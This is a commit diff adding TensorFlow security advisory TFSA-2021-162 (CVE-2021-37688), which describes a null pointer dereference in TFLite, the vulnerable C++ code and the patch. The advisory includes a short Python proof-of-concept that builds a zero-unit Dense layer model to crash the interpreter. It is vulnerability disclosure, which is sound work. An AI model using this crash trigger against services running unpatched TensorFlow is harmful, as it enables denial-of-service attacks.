chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-162.md

@@ -0,0 +1,62 @@
+## TFSA-2021-162: Null pointer dereference in TFLite
+
+### CVE Number
+CVE-2021-37688
+
+### Impact
+An attacker can craft a TFLite model that would trigger a null pointer
+dereference, which would result in a crash and denial of service:
+
+```python
+import tensorflow as tf
+
+model = tf.keras.models.Sequential()
+model.add(tf.keras.Input(shape=(1, 2, 3)))
+model.add(tf.keras.layers.Dense(0, activation='relu'))
+
+converter = tf.lite.TFLiteConverter.from_keras_model(model)
+tflite_model = converter.convert()
+
+interpreter = tf.lite.Interpreter(model_content=tflite_model)
+interpreter.allocate_tensors()
+
+interpreter.invoke()
+```
+
+The [
+implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285)
+unconditionally dereferences a pointer.
+
+```cc
+  if (y4 > 1) {
+    // ...
+  } else {
+    for (int i0 = 0; i0 < y0; ++i0) {
+      const T* input2_data_ptr = nullptr;
+      for (int i1 = 0; i1 < y1; ++i1) {
+        input2_data_ptr = input2_data_reset;
+        for (int i2 = 0; i2 < y2; ++i2) {
+          scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr,
+                             output_data_ptr);
+        }
+      }
+    }
+  }
+```
+
+### Patches
+We have patched the issue in GitHub commit
+[15691e456c7dc9bd6be203b09765b063bf4a380c](https://github.com/tensorflow/tensorflow/commit/15691e456c7dc9bd6be203b09765b063bf4a380c).
+
+The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
+commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
+also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang of Baidu Security.